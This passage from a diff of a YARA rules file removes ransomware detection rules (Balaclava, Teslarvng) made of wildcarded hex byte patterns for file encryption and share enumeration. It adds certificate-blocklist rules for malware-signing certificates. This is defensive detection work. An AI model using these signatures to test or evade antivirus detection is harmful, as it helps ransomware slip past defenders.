?? 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B - 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? - 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 - ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 - ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 - ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? - 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 - ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 - ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E - 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B C2 89 45 ?? 8B F9 8B 75 ?? 89 75 ?? - C7 45 ?? ?? ?? ?? ?? 90 3B F8 0F 84 ?? ?? ?? ?? 89 75 ?? C6 45 ?? ?? 85 F6 74 ?? 8B - 17 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 - ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? 8B C6 C6 00 ?? 80 3A ?? 75 ?? 33 C0 EB ?? 8B C2 8D - 58 ?? 66 90 8A 08 40 84 C9 75 ?? 2B C3 50 52 8B CE E8 ?? ?? ?? ?? 8B 45 ?? 83 C6 ?? - C6 45 ?? ?? 89 75 ?? 83 C7 ?? EB ?? 8B 55 ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 6A ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 - 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 - ?? ?? ?? ?? 33 C0 57 8B F9 40 F0 0F C1 05 ?? ?? ?? ?? 75 ?? 56 BE ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 83 C6 ?? 59 81 FE ?? ?? ?? ?? 7C ?? 5E 8B C7 5F C3 - } - condition: - uint16( 0 ) == 0x5A4D and $search_files_1 and $search_files_2 and $encrypt_files + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "START ARCHITECTURE LTD" and ( pe.signatures [ i ] . serial == "00:ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20" or pe.signatures [ i ] . serial == "ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20" ) and 1554940800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Balaclava : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : INFO FILE { meta: - description = "Yara rule that detects Balaclava ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1a17f2e8-f161-55bc-b44e-f8f47ebd9869" - date = "2020-10-01" - modified = "2020-10-01" + id = "308a73cd-a142-56ad-8dca-808ab455b43e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Balaclava.yara#L1-L113" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16436-L16454" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "01b43e6ea7ceebdbdda7e1f7c5bd2439a460b8aed4a1837755fa3679e9893ff3" + logic_hash = "af3cd543a6feec3118ba4e5fdc8455584aa763bd8339f036ab332977fc0fb20e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Balaclava" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 83 EC ?? 53 56 8B 75 ?? 33 D2 57 6A ?? 5B 8B 7E ?? 89 55 ?? 8D 4F ?? 66 8B - 07 03 FB 66 3B C2 75 ?? 2B F9 B9 ?? ?? ?? ?? D1 FF E8 ?? ?? ?? ?? 50 FF 76 ?? 89 45 - ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B - 45 ?? 83 C0 ?? 89 45 ?? 8B D8 33 D2 8D 4B ?? 66 8B 03 83 C3 ?? 66 3B C2 75 ?? 2B D9 - D1 FB 8D 04 3B 3D ?? ?? ?? ?? 7C ?? 8D 04 45 ?? ?? ?? ?? 50 39 56 ?? 74 ?? FF 76 ?? - 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 52 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? 39 46 ?? 74 ?? 89 46 ?? 8B 46 ?? 33 C9 66 89 0C 78 8B 55 ?? F7 02 ?? ?? ?? ?? - 0F 85 ?? ?? ?? ?? 33 D2 8B C2 6A ?? 89 45 ?? 59 89 4D ?? 3B C1 7F ?? 03 C1 8B 4D ?? - 99 2B C2 D1 F8 89 45 ?? 8B 14 85 ?? ?? ?? ?? 66 8B 01 66 3B 02 75 ?? 66 85 C0 74 ?? - 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 D2 8B C2 EB ?? 1B - C0 83 C8 ?? 33 D2 85 C0 0F 84 ?? ?? ?? ?? 79 ?? 8B 4D ?? 8B 45 ?? 49 EB ?? 8B 45 ?? - 8B 4D ?? 40 89 45 ?? EB ?? 8B 45 ?? F6 00 ?? 0F 84 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? - 50 8B 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? 8B 46 ?? - 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 74 - ?? 83 7E ?? ?? 7E ?? FF 76 ?? 8B 4E ?? FF 76 ?? E8 ?? ?? ?? ?? 59 59 8B 4E ?? 8D 14 - } - $find_files_p2 = { - 3B A1 ?? ?? ?? ?? 56 89 44 51 ?? 66 A1 ?? ?? ?? ?? 66 89 44 51 ?? FF 46 ?? E8 ?? ?? - ?? ?? FF 4E ?? E9 ?? ?? ?? ?? 39 56 ?? 0F 85 ?? ?? ?? ?? 8D 04 5D ?? ?? ?? ?? 50 8B - 46 ?? FF 75 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 5E ?? 83 C4 ?? 8B CB B8 ?? ?? - ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? - 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B CB 8D - 51 ?? 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 F9 ?? 72 ?? 8B CB 8D 51 ?? - 66 8B 01 83 C1 ?? 66 3B 45 ?? 75 ?? 2B CA D1 F9 83 C1 ?? 68 ?? ?? ?? ?? 8D 04 4B 50 - FF 15 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 A8 ?? 74 ?? 83 E0 ?? - 50 FF 76 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? EB ?? 85 C0 75 ?? 6A ?? 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? - ?? ?? ?? 6A ?? 58 3B C8 A1 ?? ?? ?? ?? 74 ?? 83 F8 ?? 74 ?? FF 76 ?? A1 ?? ?? ?? ?? - 33 D2 6A ?? 03 C1 59 F7 F1 FF 34 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? - FF 05 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 6A - ?? 59 66 89 4C 78 ?? 33 C9 8B 46 ?? 66 89 0C 78 FF 75 ?? 8B 5D ?? 53 FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 5D ?? 33 FF 39 7E ?? - 75 ?? 89 3E 53 FF 15 ?? ?? ?? ?? 8B DF 8B 4D ?? E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 - 5D C2 - } - $encrypt_files_p1 = { - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 55 ?? 8B C1 89 45 ?? C7 45 ?? ?? ?? - ?? ?? 33 F6 89 75 ?? 83 4D ?? ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 - ?? 56 68 ?? ?? ?? ?? 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? - 83 FB ?? 74 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 0B 45 ?? 74 ?? - 8B FE EB ?? 33 FF 47 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 - 45 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 8B C8 A1 ?? ?? ?? ?? EB ?? 8B - CE 85 C9 0F 84 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF 75 ?? FF D0 EB ?? 8B C6 85 C0 0F 84 - ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 7D ?? 57 53 FF 15 ?? ?? ?? ?? 85 C0 75 - ?? 83 CF ?? 89 7D ?? E9 ?? ?? ?? ?? 8B 45 ?? 3B C6 7C ?? 8B 4D ?? 7F ?? 81 F9 ?? ?? - ?? ?? 76 ?? 81 E9 ?? ?? ?? ?? 1B C6 50 51 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 89 - } - $encrypt_files_p2 = { - 75 ?? 85 F6 75 ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? - ?? 8B FE 89 7D ?? EB ?? 56 56 6A ?? 5A 8B CB E8 ?? ?? ?? ?? 59 59 23 C2 8B FE 89 7D - ?? 85 FF 75 ?? 56 8D 45 ?? 50 6A ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50 FF 71 ?? 6A ?? 5A 8B 4D ?? E8 ?? ?? ?? - ?? 83 C4 ?? 0F B6 C0 23 F8 89 7D ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 - ?? FF 70 ?? 53 FF 15 ?? ?? ?? ?? 56 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 70 ?? 53 FF 15 - ?? ?? ?? ?? 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 45 ?? 50 8B 55 ?? 52 - 8B 4D ?? 8B 45 ?? 03 C1 50 52 51 51 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 56 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 56 56 33 D2 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF - 15 ?? ?? ?? ?? 83 7D ?? ?? 76 ?? 8B 45 ?? 2D ?? ?? ?? ?? 8B 4D ?? 1B CE 51 50 33 D2 - 8B CB E8 ?? ?? ?? ?? 59 59 56 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 45 ?? 50 53 FF 15 ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 4D ?? ?? E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? C3 - } - $find_volumes = { - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 33 DB 53 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 56 53 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? - ?? 89 5D ?? 6A ?? 5B 8D B5 ?? ?? ?? ?? 8D 4E ?? 33 D2 66 8B 06 83 C6 ?? 66 3B C2 75 - ?? 2B F1 D1 FE 66 39 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 - 83 BD ?? ?? ?? ?? ?? 75 ?? 66 39 9D ?? ?? ?? ?? 75 ?? 66 39 9C 75 ?? ?? ?? ?? 75 ?? - 33 C0 66 89 84 75 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 66 89 9C 75 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 4D ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 FF 15 ?? - ?? ?? ?? 8B 65 ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_volumes ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADVANCED ACCESS SERVICES LTD" and ( pe.signatures [ i ] . serial == "00:ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee" or pe.signatures [ i ] . serial == "ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee" ) and 1650931200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Teslarvng : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : INFO FILE { meta: - description = "Yara rule that detects Teslarvng ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7045b13e-95a5-54da-b540-75d464e7673d" - date = "2020-12-14" - modified = "2020-12-14" + id = "0f9fa6c6-372d-5948-94ba-9e3fee956647" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Teslarvng.yara#L1-L137" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16456-L16472" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "670621aa196a80fbb694e4b1690d7da60e881c5b826133939e61cd6c2406ea98" + logic_hash = "71da69fca275caead6a822e6587e0a07fc882f712afeafe18f4a595c269f6737" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Teslarvng" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A8 ?? 00 00 A1 ?? ?? ?? ?? ?? ?? ?? ?? EC 56 57 50 - 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? C9 89 4D ?? 89 4D ?? 8B 73 ?? 8B 43 ?? 89 75 - ?? 89 45 ?? 3B F0 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 8D 04 40 C1 E0 ?? 89 45 - ?? 8B 04 02 8B 40 ?? 8B 30 3B F0 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 3D ?? - ?? ?? ?? 10 89 ?? ?? ?? ?? E3 ?? 00 0F 43 05 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? 33 C0 - 83 C9 ?? 66 89 45 ?? 89 4D ?? 8D 4D ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B - C7 72 ?? 8B 07 FF 77 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 0F 10 00 0F 11 85 - ?? ?? ?? ?? F3 0F 7E 40 ?? 83 4D ?? ?? 66 0F D6 45 ?? 66 89 08 8D 8D ?? ?? ?? ?? C7 - 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 74 ?? 6A ?? 8D 4D ?? 51 - } - $encrypt_files_p2 = { - FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? - ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? - 8B 41 ?? 89 45 ?? 83 78 ?? ?? 8B 48 ?? 89 4D ?? 72 ?? 8B 00 89 45 ?? C6 45 ?? ?? 33 - C0 83 4D ?? ?? 8D 4D ?? 66 89 45 ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B 47 - ?? 72 ?? 8B 3F 50 57 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? - 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 6A ?? 8D 45 - ?? 50 FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 8B 36 8B 4D ?? 8B 04 02 3B 70 ?? 0F 85 ?? ?? - ?? ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 3B 75 ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D - 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D 8B E3 5B C2 - } - $find_files = { - FF D6 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 78 ?? ?? 72 ?? 8B 00 B2 ?? 8B C8 E8 ?? ?? ?? ?? C6 - 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? 33 C9 8B 85 ?? ?? ?? ?? 03 8D ?? ?? ?? ?? 83 D0 ?? 50 51 FF B5 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? BA ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B C8 90 66 8B 31 66 3B 32 75 ?? 66 85 F6 - 74 ?? 66 8B 71 ?? 66 3B 72 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 F6 75 ?? 33 C9 EB ?? 1B - C9 83 C9 ?? 85 C9 74 ?? B9 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B - 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? - 85 C0 74 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 - ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? FF D6 83 F8 ?? 0F - 84 ?? ?? ?? ?? FF D6 8B D0 - } - $enum_shares_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D - 75 ?? 83 7D ?? ?? 6A ?? 0F 43 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 B8 ?? ?? ?? - ?? 56 66 89 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 66 89 - 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D - 45 ?? 50 57 FF 15 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 89 7D ?? 50 - 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 6A ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? - 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 75 ?? 0F - 43 4D ?? 03 F1 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 0F 43 - 4D ?? 33 C0 66 89 45 ?? 8B C6 2B C1 89 4D ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? FF 75 ?? 8D 4D ?? 56 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? - ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? - ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 66 - } - $enum_shares_p2 = { - 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? - ?? 33 F6 8B 55 ?? 85 D2 0F 84 ?? ?? ?? ?? 33 FF 8B 4D ?? 8B 44 39 ?? 85 C0 74 ?? 3D - ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 14 39 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 48 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 66 - 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B 45 ?? 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? C6 45 ?? - ?? 8B 45 ?? 3B 45 ?? 74 ?? 0F 10 45 ?? C7 40 ?? ?? ?? ?? ?? 0F 11 00 F3 0F 7E 45 ?? - 66 0F D6 40 ?? 33 C0 83 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 - ?? EB ?? 8D 4D ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 8B 55 ?? 46 83 C7 ?? 3B F2 0F 82 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 3B 45 ?? 0F 84 ?? ?? - ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 46 ?? 83 7D ?? ?? - 8B 7D ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? C7 85 ?? 